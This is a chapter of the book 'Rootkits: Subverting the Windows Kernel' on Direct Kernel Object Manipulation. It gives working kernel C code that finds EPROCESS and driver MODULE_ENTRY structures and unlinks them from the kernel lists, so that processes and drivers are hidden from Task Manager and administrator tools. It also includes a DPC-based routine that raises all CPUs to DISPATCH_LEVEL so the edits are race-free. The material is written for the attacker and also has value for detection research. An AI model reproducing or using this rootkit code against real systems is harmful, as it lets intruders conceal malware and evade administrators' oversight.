Rootkits: Subverting the Windows Kernel
< Day Day Up > |
All operating systems store accounting information in memory, usually in the form of structures or objects. When a userland process requests of the operating system information such as a list of processes, threads, or device drivers, these objects are reported back to the user. Since these objects are in memory, you can alter them directly; it is not necessary to hook the API call and to filter the answer. Process Hiding
The Windows NT/2000/XP/2003 operating system stores executive objects describing processes and threads. These objects are referenced by Taskmgr.exe and other reporting tools to list the running processes on the machine. ZwQuerySystemInformation uses these objects to list the running processes. By understanding and modifying these objects, you can hide processes, elevate their privilege levels, and perform other modifications. The Windows operating system's list of active processes is obtained by traversing a doubly linked list referenced in the EPROCESS structure of each process. Specifically, a process's EPROCESS structure contains a LIST_ENTRY structure that has the members FLINK and BLINK. FLINK and BLINK are pointers to the processes in front of and behind the current process descriptor. To hide a process, you must understand the EPROCESS structure, but first you must find one in memory. The EPROCESS structure changes in almost every release of the operating system, but you can always find a pointer to the current running process, and hence its EPROCESS, by calling PsGetCurrentProcess. This function is actually an alias for IoGetCurrentProcess. If you disassemble this function, you will see that it is just two moves and a return: mov eax, fs:0x00000124; mov eax, [eax + 0x44]; ret
Why does this code work? Windows has what it calls the Kernel's Processor Control Block (KPRCB), which is unique and is located at 0xffdff120 in kernel space. The Assembly code for IoGetCurrentProcess goes to the offset 0x124 from the fs register. This is the pointer to the current ETHREAD. From the ETHREAD block, we follow the pointer in the KTHREAD structure to the EPROCESS block of the current process. We then traverse the doubly linked list of EPROCESS blocks until we locate the process we wish to hide (see Figure 7-1). Figure 7-1. Path from KPRCB to the linked list of processes.
One way to find a process is by its Process Identifier (PID). The PID is located at an offset within the EPROCESS block that varies depending on the version of the operating system in which the rootkit is running. Here is where determining the operating system version, discussed earlier, will come into play. Based upon current data as of this writing, Table 7-1 shows the various operating-system versions' offsets of the PID within the EPROCESS structure.
The code that follows uses these offsets to traverse the linked list of processes searching for a particular PID. The function returns the address of the EPROCESS block requested by the variable terminate_PID. // FindProcessEPROC takes the PID of the process to find and // returns the address of the EPROCESS structure for the desired process. DWORD FindProcessEPROC (int terminate_PID) { DWORD eproc = 0x00000000; int current_PID = 0;
int start_PID = 0; int i_count = 0; PLIST_ENTRY plist_active_procs; if (terminate_PID == 0) return terminate_PID; // Get the address of the current EPROCESS eproc = (DWORD) PsGetCurrentProcess(); start_PID = *((int *)(eproc+PIDOFFSET)); current_PID = start_PID; while(1) { if(terminate_PID == current_PID) // found return eproc; else if((i_count >= 1) && (start_PID == current_PID)) { return 0x00000000; } else { // Advance in the list. plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); eproc = (DWORD) plist_active_procs->Flink; eproc = eproc - FLINKOFFSET; current_PID = *((int *)(eproc+PIDOFFSET)); i_count++; } } }
Hiding a process by PID is not always practical. Since PIDs are pseudo-random, your rootkit may more reliably hide processes by name. The process name is also found in the EPROCESS block, as a character array. To find the process name offset within the EPROCESS block, call the following function from within the DriverEntry function of your rootkit: ULONG GetLocationOfProcessName() { ULONG ul_offset; PEPROCESS CurrentProc = PsGetCurrentProcess(); // This will fail if the EPROCESS grows larger // than a page size. for(ul_offset = 0; ul_offset < PAGE_SIZE; ul_offset++) { if( !strncmp( "System", (PCHAR) CurrentProc + ul_offset, strlen("System"))) { return ul_offset; } } return (ULONG) 0; }
GetLocationOfProcessName returns the offset within the EPROCESS structure of the process name. It works because DriverEntry is always called by the System process if the driver was loaded by using the Service Control Manager (SCM). This function scans memory starting at the current EPROCESS structure, looking for the word System. When "System" is found, the function returns the offset. (This technique was first discovered by Sysinternals, and is used by many of the company's tools.) Using this code to find the offset of the process name, you can modify FindProcessEPROC to search by process name instead of PID. However, keep in mind that process names are not unique. The process name within the EPROCESS structure is a 16-byte character string usually containing the first 16 characters of the binary on disk that represents the object code. It is only the PID that makes the process unique. Once you find the EPROCESS of the process to hide, you must change the FLINK and BLINK pointer values of the forward and rearward EPROCESS blocks to point around the process to be hidden. As illustrated to Figure 7-2, the BLINK contained in the forward EPROCESS block is set to the value of the BLINK contained in the EPROCESS block of the process to hide, and the FLINK of the process contained in the EPROCESS block of the rearward process is set to the value of the FLINK contained in the EPROCESS block of the process that is being hidden. Figure 7-2. Illustration of the active-process list after hiding the current process.
The following code calls FindProcessEPROC to find the EPROCESS block of the process to hide, indicated by PID_TO_HIDE. It then alters the EPROCESS block that is returned in order to disconnect the process from the doubly linked list. DWORD eproc = 0; PLIST_ENTRY plist_active_procs; // Find the EPROCESS to hide. eproc = FindProcessEPROC (PID_TO_HIDE); if (eproc == 0x00000000) return STATUS_INVALID_PARAMETER; plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET); // Change the FLINK and BLINK of the rearward and forward EPROCESS blocks. *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink; *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink; // Change the FLINK and BLINK of the process we are hiding so that when // it is dereferenced, it points to a valid memory region. plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink); plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);
If the EPROCESS block is found, the code alters the FLINK of the EPROCESS block preceding it in the list and the BLINK of the EPROCESS block following it. You will notice that the last two lines alter the FLINK and BLINK of the process being hidden. On the EPROCESS being hidden, we change the FLINK and BLINK to point to themselves. If this is not done, our rootkit may produce seemingly random Blue Screens of Death when exiting the hidden process. This is due to the private kernel function, PspExitProcess. As you can imagine, when a process is being destroyed, the linked list of processes must be updated to reflect the changes. The FLINK and BLINK of the EPROCESS blocks before and after the process exiting are changed. However, what happens to the hidden process when one of its neighbors exits? Nothing. This is the problem. The pointers in the FLINK and BLINK of the hidden process may no longer point to valid processes, or even to valid memory regions. To fix this problem, the last two lines of code change the hidden EPROCESS block to point to itself. Therefore, it is always valid when PspExitProcess is called.
In the next section, we will present a very similar technique to hide drivers. They, too, are stored in a doubly linked list in the kernel. Device-Driver Hiding
Driver hiding is clearly a very important part of your rootkit arsenal. One of the first places an administrator may look if she suspects an intruder is the list of device drivers. The drivers.exe utility from the Microsoft Resource Kit is one tool an administrator can use to list the drivers on a machine. Other tools, such as the Windows Device Manager, display similar information about the device drivers on the system. In addition to these tools from Microsoft, many third-party vendors provide their own utilities. All of these rely on the kernel function ZwQuerySystemInformation. This function, with a SYSTEM_INFOMATION_CLASS of 11, returns the list of loaded modules in the kernel. If you have read the preceding chapters, this function should sound familiar: It is the same function hooked in the SSDT section of Chapter 4 to hide processes. (In that section, however, we were looking for a different class number.) In this section, we will show you, as the attacker, how to modify the doubly linked list of loaded modules (which includes your rootkit) using DKOM without a kernel hook, much as we did in the preceding section on hiding processes. The following MODULE_ENTRY object is used by the kernel to keep track of the drivers in memory. Notice that the first member in the structure is a LIST_ENTRY. We saw previously how such entries operate, and how to modify one to make it disappear from a linked list. // Undocumented Module Entry in kernel memory: // typedef struct _MODULE_ENTRY { LIST_ENTRY module_list_entry; DWORD unknown1[4]; DWORD base; DWORD driver_start; DWORD unknown2; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; //... } MODULE_ENTRY, *PMODULE_ENTRY;
The real trick is to find this doubly linked list in the first place. Finding the list of processes is simple, because you can always get the EPROCESS block of the current process by calling PsGetCurrentProcess. There is no such call to get the list of drivers, however. Some have tried to search memory for this list of drivers, but that solution is less than optimal. When searching through memory for the kernel functions that reference this list, it is common to use a signature. However, these functions change between versions of the operating system. In XP and later versions of Windows, the Kernel Processor Control Block (KPRCB) contains extra information in which you can locate the list of drivers, but this is not a viable solution if your rootkit is installed on earlier versions of the operating system. We have devised a way to find the location of the linked list of drivers. Using WinDbg, we can view the members of the DRIVER_OBJECT structure. They follow: typedef struct _DRIVER_OBJECT { short Type; // Int2B short Size; // Int2B PVOID DeviceObject; // Ptr32 _DEVICE_OBJECT DWORD Flags; // Uint4B PVOID DriverStart; // Ptr32 Void DWORD DriverSize; // Uint4B PVOID DriverSection; // Ptr32 Void PVOID DriverExtension; // Ptr32 _DRIVER_EXTENSION UNICODE_STRING DriverName; // _UNICODE_STRING UNICODE_STRING HardwareDatabase; // Ptr32 _UNICODE_STRING PVOID FastIoDispatch; // Ptr32 _FAST_IO_DISPATCH PVOID DriverInit; // Ptr32 PVOID DriverStartIo; // Ptr32 PVOID DriverUnload; // Ptr32 PVOID MajorFunction // [28] Ptr32 } DRIVER_OBJECT, *PDRIVER_OBJECT; One of the undocumented fields in the DRIVER_OBJECT structure is a pointer to the driver's MODULE_ENTRY. It is at offset 0x14 within the DRIVER_OBJECT, which would make it the DriverSection in the previous structure. As long as you load your rootkit using the Service Control Manager (SCM), you always get a pointer to the DRIVER_OBJECT in the DriverEntry function. The following code illustrates how to find an arbitrary entry in the list of loaded modules: DWORD FindPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject) { PMODULE_ENTRY pm_current; if (DriverObject == NULL) return 0; // Dereference offset 0x14 within the driver object. // Now you should have the address of a module entry. pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0x14)); if (pm_current == NULL) return 0; gul_PsLoadedModuleList = pm_current; return (DWORD) pm_current; } Once you have found a single entry in the list of modules, you can walk the list until you find the one to hide. It is a simple matter of changing the FLINK and BLINK pointers of its neighbors, as discussed in the preceding section. Using this method to hide a driver is illustrated in Figure 7-3 and demonstrated in the following code snippet. Figure 7-3. List of driver entries in the doubly linked list.
PMODULE_ENTRY pm_current; UNICODE_STRING uni_hide_DriverName; // We are going to walk the list of drivers with no synchronization for // multiple threads. We can not raise the IRQL to DISPATCH_LEVEL because // we are using RtlCompareUnicodeString, which must be called at // PASSIVE_LEVEL. pm_current = gul_PsLoadedModuleList; while ((PMODULE_ENTRY)pm_current->le_mod.Flink!=gul_PsLoadedModuleList) { if ((pm_current->unk1 != 0x00000000) && (pm_current->driver_Path.Length != 0) { // Compare the name of the target to every driver's name. if (RtlCompareUnicodeString(&uni_hide_DriverName, &(pm_current->driver_Name), FALSE) == 0) { // Alter the neighbors. *((PDWORD)pm_current->le_mod.Blink)=(DWORD)pm_current->le_mod.Flink; pm_current->le_mod.Flink->Blink = pm_current->le_mod.Blink; break; } } // Advance in the list. pm_current = (MODULE_ENTRY*)pm_current->le_mod.Flink; }
In the preceding code segment, pm_current is used to walk the list of loaded modules looking for the driver to hide, uni_hide_DriverName. For each module in the list, a comparison is made between the UNICODE strings of the driver to hide and the one currently being analyzed in the list. If the names are equal, the FLINK and the BLINK of the MODULE_ENTRYs before and after the one being hidden are changed. In this example, we do not make any change to the module being hidden, as we did when hiding a process. This is a judgment call. Because drivers do not usually load and unload like processes, the modification is probably not required. Note that the function that compares UNICODE strings must be called at PASSIVE_LEVEL. The importance of this will be seen in the following section on synchronization. Synchronization Issues
Walking the linked list of active processes using the EPROCESS structure directly is dangerous, as is walking the linked list of loaded modules. Processes can be created and torn down by the kernel while the rootkit is swapped out, or by another processor if the rootkit is installed on a multiprocessor system. Also, a driver can be unloaded while the rootkit that had been walking the linked list of modules is swapped out. To walk the doubly linked list of processes in a safe manner, your rootkit should grab the appropriate mutex, PspActiveProcessMutex. This mutex is not exported by the kernel. PsLoadedModuleResource controls access to the doubly linked list of loaded modules. One way to find these and other symbols that are not exported is to search memory for a particular pattern. This solution is not very elegant, but empirical evidence suggests it is viable. The drawback to searching memory is that the search pattern is very dynamic and differs with even minor variations in the operating system. Walking and modifying these lists becomes dangerous only when the rootkit making the modifications is pre-empted by another thread in another process. The kernel dispatcher is responsible for pre-empting the running thread with a new one, and the dispatcher runs at an IRQL of DISPATCH_LEVEL. Therefore, if a thread is running at DISPATCH_LEVEL it should not be pre-empted. However, threads can run on other CPUs in the same computer. So, to avoid pre-emption, we must raise all processors to DISPATCH_LEVEL. The only IRQLs higher than DISPATCH_LEVEL are Device IRQLs (DIRQLs), but these are for processing device hardware interrupts; if we raise the IRQL to DISPATCH_LEVEL across all processors on the machine, we should be relatively safe. You must be careful regarding what your rootkit does at DISPATCH_LEVEL. Certain functions cannot be called at this elevated IRQL. Also, your rootkit cannot touch any memory that is paged out. If it does, a Blue Screen of Death will occur. Your rootkit will need global variables to keep track of where it is in the process of raising all the CPUs to DISPATCH_LEVEL, and for signaling when to exit. For our purposes, we will call these AllCPURaised and NumberOfRaisedCPU. The AllCPURaised variable acts like a Boolean value. When it is equal to one, all the processors have been raised to DISPATCH_LEVEL; this will signal the individual threads that they can exit. NumberOfRaisedCPU is the total count of CPUs raised to DISPATCH_LEVEL. Use the InterlockedXXX functions to change these globals in an atomic manner. In our primary code in the rootkit, we need to elevate the IRQL it is running at. Call KeGetCurrentIrql to determine what IRQL you are currently running at. Only if it is less than DISPATCH_LEVEL do you want to call KeRaiseIrql. Note: If the new IRQL is less than the current IRQL, a bug check will occur. Here is the code that raises the current rootkit thread to DISPATCH_LEVEL: KIRQL CurrentIrql, OldIrql; // Raise IRQL here. CurrentIrql = KeGetCurrentIrql(); OldIrql = CurrentIrql; if (CurrentIrql < DISPATCH_LEVEL) KeRaiseIrql(DISPATCH_LEVEL, &OldIrql); Now we need to elevate the IRQL of all other processors. For our purposes, a Deferred Procedure Call (DPC) will do the trick. A great benefit of DPCs is that they run at DISPATCH_LEVEL. Another major advantage is that you can specify which CPU they run on. We will create a DPC for each of the other processors. A simple for loop iterating over the total number of processors, KeNumberProcessors, should work nicely. Before we begin the for loop, we will call KeCurrentProcessorNumber to determine which processor the master rootkit thread is executing on. Since we have already raised its IRQL and since the master rootkit thread will do all the work of altering the shared resources, such as the list of processes and drivers, we do not want to make it run our DPC. In the for loop, initialize each DPC by calling KeInitializeDpc. This function takes the address of the function that will become the code for the DPC to run. In our case, it is RaiseCPUIrqlAndWait. After the DPC is initialized, the KeSetTargetProcessorDPC function assigns a separate processor for each DPC the rootkit has created. Executing these DPCs is simply a matter of putting each DPC in the DPC queue for the corresponding processor with a call to KeInsertQueueDpc. At the end of the GainExclusivity function is a tight while loop that compares the value in NumberOfRaisedCPU to the number of processors minus one. Once these values are equal, all the processors have been set to run at DISPATCH_LEVEL, and the rootkit has total priority over anything (except DIRQLs, which are not of concern). Here is the code for GainExclusivity: PKDPC GainExclusivity() { NTSTATUS ns; ULONG u_currentCPU; CCHAR i; PKDPC pkdpc, temp_pkdpc; if (KeGetCurrentIrql() != DISPATCH_LEVEL) return NULL; // Initialize both globals to zero. InterlockedAnd(&AllCPURaised, 0); InterlockedAnd(&NumberOfRaisedCPU, 0); // Allocate room for our DPCs. This must be in NonPagedPool! temp_pkdpc = (PKDPC) ExAllocatePool(NonPagedPool, KeNumberProcessors * sizeof(KDPC)); if (temp_pkdpc == NULL) return NULL; //STATUS_INSUFFICIENT_RESOURCES; u_currentCPU = KeGetCurrentProcessorNumber(); pkdpc = temp_pkdpc; for (i = 0; i < KeNumberProcessors; i++, *temp_pkdpc++) { // Make sure we don't schedule a DPC on the current // processor. This would cause a deadlock. if (i != u_currentCPU) { KeInitializeDpc(temp_pkdpc, RaiseCPUIrqlAndWait, NULL); // Set the target processor for the DPC; otherwise, // it will be queued on the current processor when // we call KeInsertQueueDpc. KeSetTargetProcessorDpc(temp_pkdpc, i); KeInsertQueueDpc(temp_pkdpc, NULL, NULL); } } while(InterlockedCompareExchange(&NumberOfRaisedCPU, KeNumberProcessors-1, KeNumberProcessors-1) != KeNumberProcessors-1) { __asm nop; } return pkdpc; //STATUS_SUCCESS; }
When GainExclusivity runs, RaiseCPUIrqlAndWait is executed by the DPCs. All it does is increment in an atomic manner the total number of processors that have been raised to DISPATCH_LEVEL. Then, it waits in a tight loop until it receives the signal that it is safe to exit, that signal being the AllCPURaised variable equaling one. //////////////////////////////////////////////////////////////////////// // RaiseCPUIrqlAndWait // // Description: This function is called when the DPC is run. Hence, it // runs at DISPATCH_LEVEL. All it does is increment a count // of the number of CPUs that have been raised to // DISPATCH_LEVEL. It then waits in a loop to be signaled // that it is safe to terminate the DPC, resulting in the // CPU being released from DISPATCH_LEVEL. RaiseCPUIrqlAndWait(IN PKDPC Dpc, IN PVOID DeferredContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2) { InterlockedIncrement(&NumberOfRaisedCPU); while(!InterlockedCompareExchange(&AllCPURaised, 1, 1)) { __asm nop; } InterlockedDecrement(&NumberOfRaisedCPU); } Your rootkit can now modify the shared list of processes or drivers. When you are finished doing your work, the main rootkit thread needs to call ReleaseExclusivity to free all the DPCs from their tight loop, and to free the memory that had been allocated by GainExclusivity to hold the DPC objects. NTSTATUS ReleaseExclusivity(PVOID pkdpc) { InterlockedIncrement(&AllCPURaised); // Each DPC will decrement // the count now and exit. // We need to free the memory allocated for the DPCs. while(InterlockedCompareExchange(&NumberOfRaisedCPU, 0, 0)) { __asm nop; } if (pkdpc != NULL) { ExFreePool(pkdpc); pkdpc = NULL; } return STATUS_SUCCESS; } With the information in this section, you can now unhook from LIST_ENTRYs easily and in a thread-safe manner. But a hidden process is not very useful if it does not have the privilege needed to do what it is intended to do. In the next section, you will learn how to increase the privilege of any process's token, as well as how to add any group to the token. |
< Day Day Up > |